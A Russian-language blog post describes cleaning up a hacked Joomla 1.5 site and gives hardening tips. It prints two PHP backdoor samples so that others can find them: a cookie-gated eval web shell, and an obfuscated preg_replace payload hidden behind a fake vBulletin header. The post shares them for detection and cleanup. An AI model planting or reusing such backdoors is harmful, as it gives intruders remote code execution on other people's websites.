На днях столкнулся с такой проблемой на одном из старых сайтов на Joomla 1.5.26. Как оказалось решение этой проблемы заняло чуть более 5 минут.
Заранее скажу, что дело было во взломе, и далее буду примеры вредоносного кода, метод их поиска и общие выводы насчет безопасности.
Перерыв массу постов на форуме joomla.org, я пришел к выводу, что дело конечно же в турецких хакерах, и, соответственно стал искать их следы. Обычно зараженные файлы легко находятся с помощью Total Commander по подстроке @base64_decode(@str_replace (соответственно их впоследствии удобно удалить с помощью кнопки «Файлы на панель»).
Так вот тут я приведу куски вредоносного кода, которые возможно еще кому-то помогут найти все вредоносные скрипты. У меня такие куски были примерно двух типов:
<?php if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){ if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){ echo '<textarea id=areatext>'; eval($msg); echo '</textarea>bg'; exit; }} ?> |
в файлах с названиями типа таких 0bc11c.php/3716.php.
И такие:
<? /*======================================================================*\ || #################################################################### || || # vBulletin 3.1.9 || # ---------------------------------------------------------------- # || || # Copyright ©2000-2011 vBulletin Solutions Inc. All Rights Reserved. || || # This file may not be redistributed in whole or significant part. # || || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || || #################################################################### || \*======================================================================*/ // ####################### SET PHP ENVIRONMENT ########################### // #################### DEFINE IMPORTANT CONSTANTS ####################### define('THIS_SCRIPT', 'register'); define('CSRF_PROTECTION', true); define('CONTENT_PAGE', false); // ################### PRE-CACHE TEMPLATES AND DATA ###################### // get special phrase groups $phrasegroups = array('timezone', 'user', 'register', 'cprofilefield'); // get special data templates from the datastore $specialtemplates = array( 'smiliecache', 'bbcodecache', 'banemail', 'ranks', ); // pre-cache templates used by all actions preg_replace("/.*/e","\x65\x76\x61\x6c\x20\x28\x20\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x20\x28\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28'5b1rdxrH0ij82Xut/R9aE3YGYoQA2d4OEli2LNlybMnRxXYs+ZABBphoYMjMIKQ4+u+nqvoy3XNByEme5z3rVWIJuqurq2/V1VXV1aV+4AchazPru8HwsbX173+VBu7Qmftxdx65Xec35xoy43Du6ln9sRNGbgw59kdvOggW0Xqj+bhhI4wzj8fdmRNFiNRA6PRjL5hioX3Pd6N3zhQL ... |
в файлах с названиями типа таких jos_efxu.php/jos_36g1.php.
Общие рекомендации к не повторению таких взломов:
- права на configuration.php и .htaccess 440/644, права на папки 755, права на файлы 644.
- также есть инфа, что зачастую причиной взломов становился редактор JCE не последней версии.
- и для надежности можно переименовать префикс таблиц в базе данных.